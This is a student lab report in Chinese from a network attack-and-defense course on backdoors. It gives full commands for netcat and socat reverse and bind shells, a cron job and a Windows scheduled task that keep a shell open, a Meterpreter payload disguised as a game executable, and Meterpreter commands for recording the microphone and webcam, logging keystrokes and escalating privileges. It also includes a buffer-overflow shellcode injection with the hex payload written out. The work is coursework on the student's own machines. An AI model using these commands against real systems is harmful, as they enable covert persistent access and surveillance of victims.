2019-2020-2 20175317钟睿文《网络对抗技术》Exp2 后门原理与实践
1.1 实践目标
(1)任务一:使用netcat获取主机操作Shell,cron启动
(2)任务二:使用socat获取主机操作Shell, 任务计划启动
(3)任务三:使用MSF meterpreter(或其他软件)生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
(4)任务四:使用MSF meterpreter(或其他软件)生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
(5)任务五:可选加分内容:使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell加分内容一并写入本实验报告。
1.2 基础知识
- 后门
- 后门:是不经过正常认证流程而访问系统的通道,存在与编译器、操作系统、固件和应用中等等。
- 后门工作流程:程序→植入→运行→免杀。
- 后门工具
- Netcat:是一个底层工具,进行基本的TCP UDP数据收发。常被与其他工具结合使用,起到后门的作用。
- socat:socat是nc的增强版,socat的基本功能就是建立两个双向的字节流,数据就在其间传输,参数address就是代表了其中的一个方向。所谓流,代表了数据的流向,而数据则可以有许多不同的类型,命令中也就相应需要许多选项对各种不同的类型数据流进行限定与说明。
- Meterpreter:具有强大的功能,特别是其socks代理。Meterpreter是Metasploit框架中的一个杀手锏,通常作为漏洞溢出后的攻击载荷使用,攻击载荷在触发漏洞后能够返回一个我们控制通道,例如利用远程过程带哦用RPC服务的一个漏洞,当漏洞被触发后,我们选择Meterpreter作为攻击载荷,就能够获得目标系统上的一个Meterpreter Shell连接。Meterpreter是Metasploit框架的一个扩展模块,可以调用Metasploit的一些功能,对目标系统进行更加深入的渗透,这些功能包括反追踪、纯内存工作模式、密码哈希值获取、特权提升、跳板攻击等。
任务一
Windows获得Linux Shell
首先在Windows中使用ipconfig
查看其IP地址
使用ncat.exe程序打开监听ncat.exe -l -p 5317
,记得在此之前关闭防火墙
在kali中使用-e选项执行shell程序反弹连接Windows:nc 192.168.0.102 5317 -e /bin/sh
之后就会发现Windows成功获得kali的shell:
Linux获得Windows Shell
在kali中使用ifconfig
查看IP
使用nc -l -p 5317
打开kali的监听
在Windows中使用ncat.exe -e cmd.exe 192.168.0.115 5317
反弹连接kali
之后就会发现kali成功获得Windows的命令提示
启动cron
Cron是Linux下的定时任务,每一分钟运行一次,根据配置文件执行预设的指令。
Windows系统下监听端口5317,Linux系统下,输入指令crontab -e
并选择3进入编辑模式,crontab
指令表示增加一条定时任务,-e
表示编辑
在最后一行添加33 * * * * /bin/netcat 192.168.0.102 5317 -e /bin/sh
,表示每个小时的第33分钟执行后面的那条指令。
linux在33分钟时连接Windows,这是一个反弹连接式后门,监听的windows连接后可获得shell
使用nc传输数据
Windows下使用ncat.exe -l 5317
监听5317端口,kali使用nc 192.168.0.102 5317
反弹连接到Windows的5317端口,连接建立成功后双方可互传数据
使用nc传输文件
Windows下使用ncat.exe -l 5317 > mess.out
监听5317端口,并把收到的数据保存到mess.out中,kali使用nc 192.168.0.102 5317 < mess.in
反弹连接到Windows的5317端口,建立成功后,Windows可以收到kali发来的文件
可以在目录下找到mess.out,打开后可以看到内容与mess.in一致
将文件从Windows传给kali首先要将kali虚拟机的ssh服务端口打开,之后就只需使kali监听5317端口,Windows反弹连接kali的5317端口,建立成功后,kali可以收到Windows发来的文件
任务二
首先下载socat,在老师给的附件里有,下载完成后打开计算机管理,在“任务计划程序”中“创建任务”,填写任务名并新建一个触发器。
在操作中的程序或脚本中选择你的socat.exe文件的路径,在添加参数一栏填写tcp-listen:5317 exec:cmd.exe,pty,stderr
,这个命令的作用是把cmd.exe绑定到端口5317,同时把cmd.exe的stderr重定向到stdout上
新建一个触发器,选择按预定计划,其他设置自行设定
注销账户重新登陆后就可以看到任务已经在运行了
到达触发时间后任务自动运行
在kali输入指令socat - tcp:192.168.0.102:5317
,连接到Windows主机的5317端口,此时可以获得Windows的shell
任务三
使用MSF meterpreter生成可执行文件,利用ncat或socat传送到主机并运行获取主机Shell
使用kali攻击win10,首先在Kali上执行指令msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.0.102 LPORT=5317 -f exe > Counter-Strike20175317.exe
,注意这里的IP地址为控制端IP,即kali的IP,后门程序为Counter-Strike20175317.exe
在Windows下执行ncat.exe -lv 5317 > Counter-Strike20175317.exe
指令,查看当前的连接状态
在kali中使用nc 192.168.0.102 5317 < Counter-Strike20175317.exe
传输后门程序,传输成功win10的cmd中会出现传输信息
在Kali上使用msfconsole
指令进入msf控制台
-
输入
use exploit/multi/handler
使用监听模块,设置payload -
set payload windows/meterpreter/reverse_tcp
,使用和生成后门程序时相同的payload -
set LHOST 192.168.0.115
,这里用的是生成后门程序时指定的IP -
set LPORT 5317
,同样要使用相同的端口
使用exploit
开始监听,运行Windows中的后门程序
在cmd中运行Windows下的后门程序,这时Kali上获得了Windows主机的shell,经测试可以使用
任务四
使用MSF meterpreter生成获取目标主机音频、摄像头、击键记录等内容,并尝试提权
获取录音权限
使用record_mic -d 5
指令可以截获一段时长5s的音频,录制完毕会告诉你他的保存路径,打开后就可以发现这是来自未知艺术家的5秒音频 ^皿^
获取摄像头权限
webcam_snap
指令可以使用摄像头进行拍照,拍摄完毕桌面会出现一张JPEG图像,我将笔记本的摄像头驱动关掉了,所以拍出来是这样的  ̄︶ ̄
获取击键记录
keyscan_start
指令可以记录下击键的过程,keyscan_dump
则用于读取击键记录(我这里按的是Ctrl+C)
获取截屏
screenshot
指令可以进行截屏
查看用户与提权
getuid
指令可以查看当前用户,getsystem
指令进行提权操作
任务五
使用MSF生成shellcode,注入到实践1中的pwn1中,获取反弹连接Shell。
经过参照学长学姐的总结,我在老师提供的Shellcode网站中搜索linux/x86 - Reverse
下载了反弹连接的shellcode
之后像实验一一样做好环境配置,使用echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化
使用如下命令使输出重定向>将perl生成的字符串存储到文件input_shellcode中
perl -e 'print "A" x 32;print"x31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input_shellcode
打开一个终端使用(cat input_shellcode;cat) | ./pwn1注入这段攻击buf
再开另外一个终端,用gdb来调试pwn1这个进程。输入ps -ef | grep pwn1找到pwn1的进程号
之后启动gdb使用attach调试这个进程。使用disassemble foo查看到ret的地址
0xffffd38c
存放的数据是80cd01b0,那么shellcode地址就是0xffffd390
修改并生成input
文件
perl -e 'print "A" x 32;print"x90xd3xffxffx31xc0x31xdbx31xc9x31xd2x66xb8x67x01xb3x02xb1x01xcdx80x89xc3xb8x80xffxffxfex83xf0xffx50x66x68x11x5cx66x6ax02x89xe1xb2x10x31xc0x66xb8x6ax01xcdx80x85xc0x75x24x31xc9xb1x02x31xc0xb0x3fxcdx80x49x79xf9x31xc0x50x68x2fx2fx73x68x68x2fx62x69x6ex89xe3x31xc9x31xd2xb0x0bxcdx80xb3x01x31xc0xb0x01xcdx80"' > input
打开msf控制台依次输入
`use exploit/multi/handler`,用于设置payload
`set payload linux/x86/shell_reverse_tcp`
`set LHOST 127.0.0.1`,设置IP为回环地址
`set LPORT 4444`,根据代码设置端口
`exploit` ,设置完成开始监听
使用(cat input;cat) | ./pwn1将input输入,通过管道符“|”,作为pwn1的输入。
这时在msf控制台可以看到已经成功调取了shell
实验中遇到的问题
win10系统升级管理员权限时失败了,经过百度和尝试同学们的方法也都失败了,希望自己在接下来的尝试中可以找到原因
实验收获与感想
本次实验比较简单,原本以为可以很快完成,但是做到任务五时msf控制台始终不显示下面这行
[*] Command shell session 1 opened (127.0.0.1:4444 -> 127.0.0.1:48928) at 2020-03-10 07:23:28 -0400
导致shell一直不能被调取,经过检查计算shellcode地址的过程也没有问题,经过百度也没有得到解决,导致我从下午4点卡到了6点,结果吃完饭坐下来同样的步骤又试了一遍竟然成功了(╬▔皿▔)……
通过本次实验使我对后门有了更加深刻的认识,能从自己的设备上获取摄像头麦克风和键入信息还是蛮可怕的!
问题回答
- (1)例举你能想到的一个后门进入到你系统中的可能方式?
从第三方网站安装软件(使用陌生美女给的U盘并打开里面的文件)
- (2)例举你知道的后门如何启动起来(win及linux)的方式?
捆绑到某应用程序或添加到启动项;设定某条件,达到条件激活后门打开,比如本实验中的socat
- (3)Meterpreter有哪些给你映像深刻的功能?
在电脑用户不知情的情况下获取计算机的键入情况,麦克风的使用情况与截屏……用户的键入情况被窃取可能会带来信息的泄露,会造成用户隐私以及重要数据外泄。
- (4)如何发现自己有系统有没有被安装后门?
最简单的方法是使用杀毒软件查杀,开启监控并及时更新病毒库。
其次查看自己计算机的端口开放情况,关闭多余的端口
查看注册表和启动项,清除可疑进程
参考资料
使用MSF生成shellcode
2018-2019-2 网络对抗技术 20165318 Exp2 后门原理与实践
记第一次提权——03getsystem
KALI 拿到 shell 后提权操作